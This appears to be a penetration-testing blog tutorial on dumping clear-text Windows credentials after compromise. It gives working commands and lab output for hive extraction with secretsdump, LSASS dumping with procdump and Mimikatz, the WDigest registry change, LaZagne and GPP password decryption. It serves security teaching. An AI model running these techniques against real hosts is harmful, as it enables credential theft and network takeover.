Dumping Clear-Text Credentials

mpentestlab.blog/category/post-exploitation/page/5

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Passwords in clear-text that are stored in a Windows host can allow penetration testers to perform lateral movement inside an internal network and eventually fully compromise it. Therefore in a system that has been compromised with elevated access (Local Administrator or SYSTEM) and persistence has been achieved the hunt for clear-text passwords should be one of the first post exploitation activities. This is due to the fact that is the easiest and the fastest way to achieve domain administrator privileges and at the same time being less noisy.


The article contains Windows locations where passwords might exist and techniques to retrieve them.

LSA Secrets

LSA Secrets is a registry location which contains important data that are used by the Local Security Authority like authentication, logging users on to the host, local security policy etc. This information is stored in the following registry key.


HKEY_LOCAL_MACHINE/Security/Policy/Secrets

Due to the sensitivity of information Windows is protecting access to the Security folder in the registry with permissions. By default only the SYSTEM account can access the LSA Secrets registry location.



LSA Secrets - Registry Permissions

Giving the appropriate permissions to the administrator account and re-open the registry will unveil all the subfolders that are contained in the Security folder.



LSA Secrets – Registry Location

This location contains the password of the account that is logged in an encrypted format. However the key to reverse the password is stored in the parent key: **Policy**.

HKEY_LOCAL_MACHINE/Security/Policy

Registry keys of interest are except of Security, the SAM and the System as they contain password hashes. From an elevated command prompt the registry keys can be saved with the reg utility.

```
reg save hklm\sam c:\temp\sam.save
reg save hklm\security c:\temp\security.save
reg save hklm\system c:\temp\system.save
```

```
C:\Windows\system32>reg save hklm\sam c:\temp\sam.save
The operation completed successfully.
C:\Windows\system32>reg save hklm\security c:\temp\security.save
The operation completed successfully.
C:\Windows\system32>reg save hklm\system c:\temp\system.save
The operation completed successfully.
C:\Windows\system32>reg save hklm\system c:\temp\system.save
The operation completed successfully.
C:\Windows\system32>
```

Dump Registry Hives

<u>Impacket</u> suite contains a python script that can read the contents of these registry keys and decrypt the LSA Secrets password.

```
kali:/usr/bin# impacket-secretsdump -sam /root/Desktop/sam.save -security /
root/Desktop/security.save -system /root/Desktop/system.save LOCAL
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] Target system bootKey: 0x7a85b850561da77b61c1eb05fefa9a79
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
netbiosX:1000:aad3b435b51404eeaad3b435b51404ee:d19c3fedb165792b0723b8d96233bf19:
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):pentestlab
[*] DPAPI SYSTEM
 0000
       01 00 00 00 13 BD 69 49 C9 20 36 1D E9 CE 2D 7F
                                                          ....iI. 6...-.
        ED 6D 30 26 EA 26 A2 CA 77 BA BA 46 E5 5D 31 5D
 0010
                                                           .m0&.&..w..F.]1]
        88 FA 74 02 54 0E AD 7F 73 ED 08 2A
                                                           ..t.T...s..*
 0020
[*] Cleaning up...
```

impacket - Registry Hives

Alternatively there is a post exploitation module in Metasploit that can be used from an existing Meterpreter session to retrieve the password in clear-text.

post/windows/gather/lsa_secrets

```
meterpreter > run post/windows/gather/lsa_secrets

[*] Executing module against WIN-FTR8G7L1QAC
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: DefaultPassword
Decrypted Value: pentestlab

[+] Key: DPAPI_SYSTEM
Decrypted Value: ,iI 6-m0&&wF]1]tTs*

[*] Writing to loot...
[*] Data saved in: /root/.msf4/loot/20180402182949_default_192.168.238.147_registry.lsa.sec_698848.txt
```

Metasploit – LSA Secrets

The same output can be achieved with the <u>lsaSecretRead</u> binary.

lsaSecretRead.exe DefaultPassword

```
C:\Users\netbiosX\Desktop>lsaSecretRead.exe DefaultPassword
Key Name: DefaultPassword
Buffer data len: 10 characters. Data: pentestlab
C:\Users\netbiosX\Desktop>_
```

IsaSecretRead - Red LSA Secret Password

LSASS Process

The Local Security Authority Subsystem Service (LSASS) handles the enforcement of security policy in a Windows host. In Windows environments from 2000 to Server 2008 the memory of the LSASS process was storing passwords in clear-text to support WDigest and SSP authentication. Therefore tools such as Mimikatz could retrieve the password easily.

procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1

```
C:\Users\Administrator\Desktop\Procdump>procdump.exe -accepteula -ma lsass.exe C:\windows\temp\lsass.dmp 2>&1


ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[03:49:15] Dump 1 initiated: C:\windows\temp\lsass.dmp
[03:49:15] Dump 1 writing: Estimated dump file size is 102 MB.
[03:49:16] Dump 1 complete: 102 MB written in 1.3 seconds
[03:49:17] Dump count reached.
```

Procdump – Isass process

Microsoft from Windows 8.1 and Windows Server 2012 to enhance security of the systems further prevented LSASS from storing passwords in clear-text. However in a system that has been already compromised with elevated credentials a minor registry modification can instruct LSASS process to store clear-text passwords in its memory in the next login of the user.

 $\label{thm:local_machine} HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \\ "UseLogonCredential" (DWORD)$



Mimikatz – Registry Setting for Windows 2012 and 2016

Metasploit Framework has a post exploitation module which can be used to enable caching of Wdigest authentication by modifying the registry automatically.

post/windows/manage/wdigest_caching

```
meterpreter > run post/windows/manage/wdigest_caching

[*] Running module against WIN-FTR8G7L1QAC

[*] Checking if the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential DWORD exists...

[*] Creating UseLogonCredential DWORD value as 1...

[+] WDigest Security Provider enabled
meterpreter >
```


Metasploit - WDigest Caching

Mimikatz can be used offline in order to read the contents of the LSASS dump and especially sections that contain logon passwords.

```
C:\Users\Administrator\Desktop>mimikatz.exe log "sekurlsa::minidump lsass.dmp"
ekurlsa::logonPasswords exit
         .#####.
    ##.
                                 ` ( benjamin@gentilkiwi.com )
    \ ##
## \ / ##
             > http://blog.gentilkiwi.com/mimikatz
 .## ^ ##.
            Vincent LE TOUX
                                  ( vincent.letoux@gmail.com )
 . ##### .
             > http://pingcastle.com / http://mysmartlogon.com
mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK
Switch to MINIDUMP : 'lsass.dmp
Opening : 'lsass.dmp' file for minidump...
```

Mimikatz – LSASS dump

The password of the John user was retrieved in plain-text through WDigest authentication protocol.



Mimikatz - ClearText Password in LSASS

Alternatively Mimikatz can be dropped into the target if the system doesn't have an endpoint solution or if the binary has been modified to evade detection.

privilege::debug
sekurlsa::logonPasswords full

```
- 1
                                                                                                                                                          C:Y.
                                                               mimikatz 2.1.1 x64 (oe.eo)
C:\Users\John\Desktop>mimikatz.exe
  .#####.
.## ^ ##.
## / > ##
                        mimikatz 2.1.1 (x64) built on Mar 25 2018 21:01:13

"A La Vie, A L'Amour" - (oe.eo)

/*** Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )

> http://blog.gentilkiwi.com/mimikatz

Vincent LE TOUX ( vincent.letoux@gmail.com )

> http://pingcastle.com / http://mysmartlogon.com ***/
                                                                                                                                                                        ≡
    , #####,
, #####,
mimikatz # privilege::debug
Privilege '20' OK
 Authentication Id : 0 ; 9581388 (0000000:0092334c)
Session : Interactive from 1
Authentication
Session
User Name
Domain
Logon Server
Logon Time
SID
                                     : John
: John
: John
: PENTESTLAB
: WIN-PTELU2U07KG
: 4/2/2018 8:28:15 AM
: S-1-5-21-3737340914-2019594255-2413685307-1142
                 msv :
[00000003] Primary
                                         :
                                             john
PENTESTLAB
                      Username
                      Domain
```

Mimikatz - Logon Passwords Command

Metasploit Framework has an extension which can be loaded to Meterpreter in order to execute Mimikatz commands directly from memory.

```
meterpreter > load kiwi
Loading extension kiwi...
            mimikatz 2.1.1 20170608 (x64/windows)
  .#####.
 .## ^ ##.
            "A La Vie, A L'Amour"
 ## / \ ##
             Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
   \ / ##
 '## V ##'
             http://blog.gentilkiwi.com/mimikatz
                                                                (oe.eo)
             Ported to Metasploit by OJ Reeves `TheColonial` * * */
  '#####
Success.
<u>meterpreter</u> >
```

Mimikatz – Kiwi Meterpeter Extension

WDigest authentication credentials can retrieved by executing the following command:

```
<u>meterpreter</u> > creds wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
Username
                  Domain
                              Password
(null)
                  (null)
                              (null)
WIN-PTELU2U07KG$ PENTESTLAB 17 f9 97 fc f3 5f 51 31 5b 8f d5 5d ab f3 7f 87 05
3c 84 00 80 c5 61 9b 48 76 21 04 c8 c7 dc f7 ce 1c eb ae 0f cb e5 ce 80 3f 6a 7
b dd 5d 78 d2 1e 33 1b 7b d4 b3 1f b0 44 6e 90 53 19 54 06 73 b5 47 b0 70 00 6e
56 c7 82 f5 7d 49 bd 51 le d4 b7 3e c8 16 6f a1 5c 9d 97 ea d3 50 bc 9a 3f e7 54
86 aa 34 dd db fc cd e6 2a da ff 0c 14 72 7f a6 b6 9a 08 8a b0 c5 73 2a 35 68 3
f le c9 fb 89 39 4f 16 4e la 1f 60 c7 42 32 5a 3b 07 29 97 d7 93 e9 b7 5c 9f 27
5d 2b f7 f8 a8 68 f1 6a 78 e5 c2 9e 2a 3c ea 98 9d 3a ea 7a f5 20 5e 0d da f1 ab
34 26 0b 4c c5 fe 78 0b le f2 8f 09 a9 81 4d b4 e2 da 1b 0d a9 67 1f 18 7c c1 9
d 67 bc c8 00 0e b6 d6 f8 5c c5 83 5b 7b df 3d 22 b4 e6 40 73 46 2c cf b8 9d 02
ec cd 22 85 2a 45 8a 9b 59 b9
john
                  PENTESTLAB Pentestlab123!
```

Mimikatz - wdigest credentials via Meterpreter Kiwi

<u>Windows credential editor</u> can also retrieve wdigest passwords in clear-text from older Windows environments. (XP to Windows 8). If the environment is Windows Server 2012, 2016, Windows 8.1 and Windows 10 the method with Mimikatz is more reliable.

wce.exe -w

```
C:\Users\netbiosX\Desktop>wce.exe -w
WCE v1.42beta (X64) (Windows Credentials Editor) - (c):
- by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

netbiosX\WIN-FTR8G7L1QAC:pentestlab
C:\Users\netbiosX\Desktop>_
```

Windows Credential Editor

Running also the PowerShell module of Mimikatz directly from console or executing from memory will also retrieve the password from the LSASS process.

```
PS C:\Users\John\Desktop> Import-Module .\Invoke-Mimikatz.ps1
PS C:\Users\John\Desktop> Invoke-Mimikatz
                   mimikatz 2.1.1 (x64) built on Mar 31 2018 20:15:03

"A La Vie, A L'Amour" - (oe.eo)
/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letoux@gmail.com )
    .#####.
  .## ^ ##.
         ) ##
##
          ′##
   ##
    '####
                            > http://pingcastle.com / http://mysmartlogon.com
mimikatz(powershell)  # sekurlsa::logonpasswords
Authentication Id : 0 ; 23077722 (00000000:0160235a)
Session : Interactive from 1
Session
User Name
Domain
                                 John
                              : PENTESTLAB
                             : WIN-PTELU2U07KG
: 4/2/2018 12:52:16 PM
: S-1-5-21-3737340914-2019594255-2413685307-1142
Logon Server
Logon Time
SID
             msv :
[00000003] Primary
                  Username : john
Domain : PENTESTLAB
                  NTLM
                                 : 08c60fd86c43ce4894dab79ba1f45f44
               * SHA1 : 71577af8a2ac44db5efb80854c0ed147c661df7e

[00010000] CredentialKeys

* NTLM : 08c60fd86c43ce4894dab79ba1f45f44
                  SHA1
                                 : 71577af8a2ac44db5efb80854c0ed147c661df7e
             tspkg:
             wdigest :
                  Username : john
Domain : PENTESTLAB
                  Password: Pentestlab123!
```

Mimikatz - PowerSploit

Credential Manager

Windows is using Credential Manager to digitally store various other credentials in an encrypted format by using the Windows Data Protection API. Credentials that have been used by the user to access an internal system over the web or a network resource can be retrieved.

Running <u>LaZagne</u> on the target host can retrieved all the passwords that are stored on the system in various formats (not only plain-text).

LaZagne

However browser based passwords will be retrieved in plain-text. This could give the opportunity to the penetration tester to expand his access to various other systems.

```
[+] Password found !!!
URL: http://192.168.238.132/
Login: user
Password: bitnami
Name: Internet Explorer

[+] Password found !!!
URL: http://192.168.238.128/
Login: admin
Password: root
Name: Internet Explorer
```

LaZagne - Browser Based Passwords

<u>Nikhil Mittal</u> developed a PowerShell <u>script</u> which is part of the <u>Nishang</u> framework that can be used to retrieve passwords from the Windows Vault similar to LaZagne tool.

redteam	http://192.168.238.135/	%3iOP*AYvZuY0f
user	http://192.168.238.132/	bitnami
admin	http://192.168.238.128/	root

Nishang – Get-WebCredentials PowerShell Script

Group Policy Preferences

Windows workstations that are attached to a domain have access to the Groups.xml file on the domain controller. Often this file is cached locally on the workstation. The location of this file in the Domain Controller and in the Host itself can be seen below:

```
\\DC.PENTESTLAB.LOCAL\SYSVOL\pentestlab.local\Policies\
{xxx}\MACHINE\Preferences\Groups\Groups.xml
C:\ProgramData\Microsoft\Group Policy\History\
{xxx}\Machine\Preferences\Groups\Groups.xml
```

This file contains the cPassword value in an encrypted format but with a publicly known key. There are various scripts which they can decrypt the value cPassword. Metasploit Framework can also automate the task with the below post exploitation module.

post/windows/gather/credentials/gpp

```
[*] Parsing file: \\DC.PENTESTLAB.LOCAL\SYSVOL\pentestlab.local\Policies\{31B2F3 40-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
 Name
                       Value
 TYPE
                       Groups.xml
 USERNAME
                       pentestlab-admin
 PASSWORD
                       pentestlab123!
 DOMAIN CONTROLLER DC.PENTESTLAB.LOCAL
                       pentestlab.local
 DOMAIN
 CHANGED
                       2017-03-16 18:58:19
 NEVER EXPIRES?
                       0
 DISABLED
[*] XML file saved to: /root/.msf4/loot/20170317050046_default_192.168.100.2_win
dows.gpp.xml 912227.txt
[*] Post module execution completed
```

Metasploit - Decrypting GPP Passwords

Full details of decrypting GPP passwords can be found in the article <u>Group Policy Preferences</u>.

Miscellaneous Methods

Shared folders, configuration files, unattend installation files and third party software such as VNC and endpoints might contain clear-text credentials. A careful examination of the system can give additional elevated passwords that could be used during a penetration test to expand network access or during a red team exercise for lateral movement purposes. Commands, tools and methods for finding these passwords have been discussed in the article Stored Credentials.